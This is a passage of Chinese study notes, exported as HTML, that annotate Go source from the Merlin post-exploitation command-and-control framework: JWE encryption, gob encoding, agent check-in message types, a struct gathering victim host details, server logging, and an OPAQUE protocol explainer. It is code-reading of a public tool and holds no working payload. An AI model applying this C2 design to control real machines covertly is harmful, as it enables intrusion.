border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">jwe</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errJWE</span> :<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">encrypter</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Encrypt</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">data</span>)  <span style="box-sizing: border-box;color: rgb(0, 0, 0);">对数据进行加密生成jwe对象</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errJWE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fmt</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Errorf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;there was an error encrypting the data into a JWE object:\r\n%s&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errJWE</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Error</span>())</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">serialized</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errSerialized</span> :<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jwe</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">CompactSerialize</span>() <span style="box-sizing: border-box;color: rgb(0, 0, 0);">对加密后的jwe对象进行序列化</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errSerialized</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fmt</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Errorf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;there was an error serializing the JWE in compact format:\r\n%s&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errSerialized</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Error</span>())</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Parse it to make sure there were no errors serializing it</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">_</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errJWE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jose</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">ParseEncrypted</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">serialized</span>) <span style="box-sizing: border-box;color: rgb(0, 0, 0);">判断是否可以以序列化格式解析加密后的消息</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errJWE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fmt</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Errorf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;there was an error parsing the encrypted JWE:\r\n%s&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errJWE</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Error</span>())</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">serialized</span>, <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span>  <span style="box-sizing: border-box;color: rgb(0, 0, 0);">判断可以解析成功后返回序列化后的jwe加密对象</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><pre spellcheck="false" lang="go" cid="n21" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">jwe的5个组成部分</span>:</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">JWE</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">header</span>: <span style="box-sizing: border-box;color: rgb(0, 0, 0);">描述用于创建jwe加密密钥和jwe密文的加密操作，类似于jws中的header。参数不一一描述，详情请见jwe</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">header参数</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">JWE</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Encrypted</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Key：用来加密文本内容所采用的算法。</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">JWE</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">initialization</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">vector</span>: <span style="box-sizing: border-box;color: rgb(0, 0, 0);">加密明文时使用的初始化向量值，有些加密方式需要额外的或者随机的数据。这个参数是可选的。</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">JWE</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Ciphertext</span>:<span style="box-sizing: border-box;color: rgb(0, 0, 0);">明文加密后产生的密文值。</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">JWE</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Authentication</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Tag：数字认证标签。</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//一个完整的jwe json结构 { &#34;protected&#34;:&#34;jwe受保护的header头&#34;, &#34;unprotected&#34;:&#34;JWE Shared Unprotected Header数据&#34;, &#34;header&#34;:&#34;&#34;, &#34;encrypted_key&#34;:&#34;密钥加密后数据 &#34;, &#34;aad&#34;:&#34;额外的认证数据&#34;, &#34;iv&#34;:&#34;同上的 JWE initialization vector&#34;, &#34;ciphertext&#34;:&#34;同上的JWE Ciphertext&#34;, &#34;tag&#34;:&#34;同上的JWE Authentication Tag&#34; }</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jwe创建流程</span>:</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Base64</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">encode</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">header</span>)<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;.&#34;</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Base64</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">encode</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">encrypted_key</span>)<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;,&#34;</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Base64</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">encode</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">iv</span>)<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;.&#34;</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Base64</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">encode</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ciphertext</span>)<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;.&#34;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Base64</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">encode</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">tag</span>)</span></pre><p cid="n23" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">JWS认证图</span></p><p cid="n25" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">JWE认证图</span></p><h4 cid="n26" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">message</span></h4><h5 cid="n27" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">messages.go</span></h5><p cid="n28" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">定义agent传递的一系列信息的结构体</span></p><pre spellcheck="false" lang="go" cid="n29" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;">gob 一般性调用编码解码func senMsg()error {    fmt.Print(&#34;开始执行编码（发送端）&#34;)      enc := gob.NewEncoder(&amp;network)    sendMsg:=MsgData{3, 4, 5, &#34;jiangzhou&#34;}    fmt.Println(&#34;原始数据：&#34;,sendMsg)    err := enc.Encode(&amp;sendMsg)    fmt.Println(&#34;传递的编码数据为：&#34;,network)    return  err}func revMsg()error {    var revData MsgData    dec:=gob.NewDecoder(&amp;network)    err:= dec.Decode(&amp;revData) //传递参数必须为 地址    fmt.Println(&#34;解码之后的数据为：&#34;,revData)    return err}编码的数据中有空接口类型，传递时赋值的空接口为：基本类型（int、float、string）、切片时，可以不进行注册fmt.Print(&#34;开始执行编码（发送端）&#34;)     enc := gob.NewEncoder(&amp;network)     s:=make([]string,0)    s=append(s, &#34;hello&#34;)    //sendMsg:=MsgData{3, 4, 5, &#34;jiangzhou&#34;,Msg{10001,&#34;hello&#34;}}    //sendMsg:=MsgData{3, 4, 5, &#34;jiangzhou&#34;,66.66}    sendMsg:=MsgData{3, 4, 5, &#34;jiangzhou&#34;,s}编码的数据中有空接口类型，传递时赋值的空接口为：map、struct时，必须进行注册。Register和RegisterName解决的主要问题是：当编解码中有一个字段是interface{}（interface{}的赋值为map、结构体时）的时候需要对interface{}的可能产生的类型进行注册func senMsg()error {    fmt.Print(&#34;开始执行编码（发送端）&#34;)      enc := gob.NewEncoder(&amp;network)     m:=make(map[int]string)    m[10001]=&#34;hello&#34;    m[10002]=&#34;jiangzhou&#34;    gob.Register(map[int]string{}) //TODO：进行了注册    sendMsg:=MsgData{3, 4, 5, &#34;jiangzhou&#34;,m}    fmt.Println(&#34;原始数据：&#34;,sendMsg)    err := enc.Encode(&amp;sendMsg)    fmt.Println(&#34;传递的编码数据为：&#34;,network)    return  err}</pre><pre spellcheck="false" lang="go" cid="n30" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;">// Merlin is a post-exploitation command and control framework.// This file is part of Merlin.// Copyright (C) 2021  Russel Van Tuyl// Merlin is free software: you can redistribute it and/or modify// it under the terms of the GNU General Public License as published by// the Free Software Foundation, either version 3 of the License, or// any later version.// Merlin is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the// GNU General Public License for more details.// You should have received a copy of the GNU General Public License// along with Merlin.  If not, see &lt;<a href="http://www.gnu.org/licenses/" target="_blank">http://www.gnu.org/licenses/</a>&gt;.package messagesimport (	// Standard	&#34;crypto/rsa&#34;	&#34;encoding/gob&#34; gob包用于二进制流传递参数（值），常用于远程调用传递值（RPC）	&#34;fmt&#34;	// 3rd Party	&#34;github.com/satori/go.uuid&#34;)// init registers message types with gob that are an interface for Base.Payloadfunc init() {	gob.Register(KeyExchange{})	gob.Register(AgentInfo{})	gob.Register(SysInfo{})}const (	// To Server	// CHECKIN is used by the Agent to identify that it is checking in with the server	CHECKIN = 1 // StatusCheckIn 被agent用于标识他正在与server进行检入	// OPAQUE is used to denote that embedded message contains an opaque structure	OPAQUE = 2 用于标识传递的（嵌入的）消息包含不透明的结构体	// JOBS is used to denote that the embedded message contains a list of job structures	JOBS = 3 用来标识传递的（嵌入的）包含一份job结构的结构体	// KEYEXCHANGE is used to denote that embedded message contains a key exchange structure	KEYEXCHANGE = 4 用于标识传递的（嵌入的）包含一个交换秘钥的结构体	// To Agent	// IDLE is used to notify the Agent that server has no tasks and that the Agent should idle	IDLE = 10 用于通知agent没有任务，应该空闲)远控使用http协议沟通，传递的基础结构体如下：版本、id、类型、攻击载荷、字节填充、token// Base is the base JSON Object for HTTP POST payloads type Base struct {	Version float32     `json:&#34;version&#34;`	ID      uuid.UUID   `json:&#34;id&#34;`	Type    int         `json:&#34;type&#34;`	Payload interface{} `json:&#34;payload,omitempty&#34;`	Padding string      `json:&#34;padding&#34;`	Token   string      `json:&#34;token,omitempty&#34;`}// KeyExchange is a JSON payload used to exchange public keys for encryptionKeyExchange结构体包含一个rsa公钥type KeyExchange struct {	PublicKey rsa.PublicKey `json:&#34;publickey&#34;`}// SysInfo is a JSON payload containing information about the system where the agent is running返回的受害主机的信息结构体（平台信息、结构（？）、受害主机用户名、guid、主机名、进程名、进程id、ip信息、域名）type SysInfo struct {	Platform     string   `json:&#34;platform,omitempty&#34;`	Architecture string   `json:&#34;architecture,omitempty&#34;`	UserName     string   `json:&#34;username,omitempty&#34;`	UserGUID     string   `json:&#34;userguid,omitempty&#34;`	HostName     string   `json:&#34;hostname,omitempty&#34;`	Process      string   `json:&#34;process,omitempty&#34;`	Pid          int      `json:&#34;pid,omitempty&#34;`	Ips          []string `json:&#34;ips,omitempty&#34;`	Domain       string   `json:&#34;domain,omitempty&#34;`}// AgentInfo is a JSON payload containing information about the agent and its configurationagent的信息结构体（agent版本、编译信息（？）、延时、最大填充字节数、最多重复数、准入校验失败标识符、歪曲（？）、proto信息（？）、agent被杀时间、ja3指纹）type AgentInfo struct {	Version       string  `json:&#34;version,omitempty&#34;`	Build         string  `json:&#34;build,omitempty&#34;`	WaitTime      string  `json:&#34;waittime,omitempty&#34;`	PaddingMax    int     `json:&#34;paddingmax,omitempty&#34;`	MaxRetry      int     `json:&#34;maxretry,omitempty&#34;`	FailedCheckin int     `json:&#34;failedcheckin,omitempty&#34;`	Skew          int64   `json:&#34;skew,omitempty&#34;`	Proto         string  `json:&#34;proto,omitempty&#34;`	SysInfo       SysInfo `json:&#34;sysinfo,omitempty&#34;`	KillDate      int64   `json:&#34;killdate,omitempty&#34;`	JA3           string  `json:&#34;ja3,omitempty&#34;`}// String returns the text representation of a message constant根据传递的类型值返回类型的string信息func String(messageType int) string {	switch messageType {	case KEYEXCHANGE:		return &#34;KeyExchange&#34;	case CHECKIN:		return &#34;StatusCheckIn&#34;	case JOBS:		return &#34;Jobs&#34;	case OPAQUE:		return &#34;OPAQUE&#34;	case IDLE:		return &#34;Idle&#34;	default:		return fmt.Sprintf(&#34;Invalid: %d&#34;, messageType)	}}</pre><h4 cid="n31" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">logging</span></h4><h5 cid="n32" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">logging.go </span></h5><pre spellcheck="false" lang="go" cid="n33" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;">// Merlin is a post-exploitation command and control framework.// This file is part of Merlin.// Copyright (C) 2021  Russel Van Tuyl// Merlin is free software: you can redistribute it and/or modify// it under the terms of the GNU General Public License as published by// the Free Software Foundation, either version 3 of the License, or// any later version.// Merlin is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the// GNU General Public License for more details.// You should have received a copy of the GNU General Public License// along with Merlin.  If not, see &lt;<a href="http://www.gnu.org/licenses/" target="_blank">http://www.gnu.org/licenses/</a>&gt;.package loggingimport (   // Standard   &#34;fmt&#34;   &#34;os&#34;   &#34;path/filepath&#34;   &#34;time&#34;   // 3rd Party   &#34;github.com/fatih/color&#34; 定义输出ascii字体颜色的包   // Merlin   &#34;github.com/Ne0nd0g/merlin/pkg/core&#34; )var serverLog *os.File func init() {   // Server Logging 检测项目根目录下是否存在/data/log/merlinServerLog.txt,如果没有则报错，紧接着调用os.MkdirAll创建目录并创建日志文件   if _, err := os.Stat(filepath.Join(core.CurrentDir, &#34;data&#34;, &#34;log&#34;, &#34;merlinServerLog.txt&#34;)); os.IsNotExist(err) {      errM := os.MkdirAll(filepath.Join(core.CurrentDir, &#34;data&#34;, &#34;log&#34;),  )      if errM != nil {         message(&#34;warn&#34;, &#34;there was an error creating the log directory&#34;)      }      serverLog, errC := os.Create(filepath.Join(core.CurrentDir, &#34;data&#34;, &#34;log&#34;, &#34;merlinServerLog.txt&#34;))      if errC != nil {         message(&#34;warn&#34;, &#34;there was an error creating the merlinServerLog.txt file&#34;)         return      }      // Change the file&#39;s permissions 修改日志文件权限为0600 ，owner只有读写权限      errChmod := os.Chmod(serverLog.Name(), 0600)      if errChmod != nil {         message(&#34;warn&#34;, fmt.Sprintf(&#34;there was an error changing the file permissions for the agent log:\r\n%s&#34;, errChmod.Error()))      }      if core.Debug { 如果是debug模式输入日志         message(&#34;debug&#34;, fmt.Sprintf(&#34;Created server log file at: %s\\data\\log\\merlinServerLog.txt&#34;, core.CurrentDir))      }   }   var errLog error   serverLog, errLog = os.OpenFile(filepath.Join(core.CurrentDir, &#34;data&#34;, &#34;log&#34;, &#34;merlinServerLog.txt&#34;), os.O_APPEND|os.O_WRONLY, 0600) 打开只写模式打开文件   if errLog != nil {      message(&#34;warn&#34;, &#34;there was an error with the Merlin Server log file&#34;)      message(&#34;warn&#34;, errLog.Error())   }}// Server writes a log entry into the server&#39;s log filefunc Server(logMessage string) { 向日志写入时间和传入的日志信息   _, err := serverLog.WriteString(fmt.Sprintf(&#34;[%s]%s\r\n&#34;, time.Now().UTC().Format(time.RFC3339), logMessage))   if err != nil {      message(&#34;warn&#34;, &#34;there was an error writing to the Merlin Server log file&#34;)      message(&#34;warn&#34;, err.Error())   }}// Message is used to print a message to the command linefunc message(level string, message string) { 根据传入的level等级向控制台输出不同颜色的调试信息   switch level {   case &#34;info&#34;:      color.Cyan(&#34;[i]&#34; + message)   case &#34;note&#34;:      color.Yellow(&#34;[-]&#34; + message)   case &#34;warn&#34;:      color.Red(&#34;[!]&#34; + message)   case &#34;debug&#34;:      color.Red(&#34;[DEBUG]&#34; + message)   case &#34;success&#34;:      color.Green(&#34;[+]&#34; + message)   default:      color.Red(&#34;[_-_]Invalid message level: &#34; + message)   }}// TODO configure all message to be displayed on the CLI to be returned as errors and not written to the CLI here</pre><h4 cid="n34" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">opaque</span></h4><h5 cid="n35" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">opaque.go</span></h5><pre spellcheck="false" lang="go" cid="n36" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;">opaque是一种非对称加密传输进行非明文传输密码进行身份校验的身份校验算法参考文档 <a href="https://www.diglog.com/story/1042842.html" target="_blank">https://www.diglog.com/story/1042842.html</a><a href="https://www.bilibili.com/read/cv10357653" target="_blank">https://www.bilibili.com/read/cv10357653</a>OPAQUE是两个密码协议名称的组合：OPRF和PAKEOPRF代表“遗忘伪随机函数”，这是一种协议，通过该协议，双方可以计算确定性的函数F（key，x），但输出看似随机的值。一方输入值x，另一方输入键，输入x的一方学习结果F（key，x），但不学习键，提供键的一方学不到任何东西。 （您可以在此处深入了解OPRF的数学方法：https：//blog.cloudflare.com/privacy-pass-the-math/）OPAQUE算法分为两个过程，注册和登录。注册流程(盗图自irtf)注册流程发生在客户端C和服务器端S之间。这一过程要求S和C能够相互确认(就是说，用户要确认对方不是钓鱼网站，网站(如果有需要的话)要能确认用户身份)，这也是OPAQUE唯一需要经认证的信道流程。在开始时，C需要准备好口令password并生成一对密钥对*creds。C对于每一个账户都应当生成新的密钥对。S需要预先准备好密钥对server_private_key和server_public_key。S可以对许多不同用户使用同一密钥对。“密钥对”是一个词，指互相对应的公钥-私钥组成的一对密钥。之后，C将口令随机化得到(r, M), 并将M发送至S。S在收到请求后，需要生成OPRF私钥oprf_key，然后使用oprf_key处理M得到Z，并将Z返回。C使用返回的Z，明文口令password和第一步得到的r计算Y。之后，C将creds私钥用Y处理，得到经过加密的私钥，然后和明文的creds公钥一起返回至S。S将C的明文公钥，加密私钥和oprf_key一同记录账户中，从而完成注册流程。登录流程(盗图自irtf)登录的第一步，是C根据明文密码取得私钥并解密。首先，C根据明文口令password计算(r, M)，需要注意的是这里的(r, 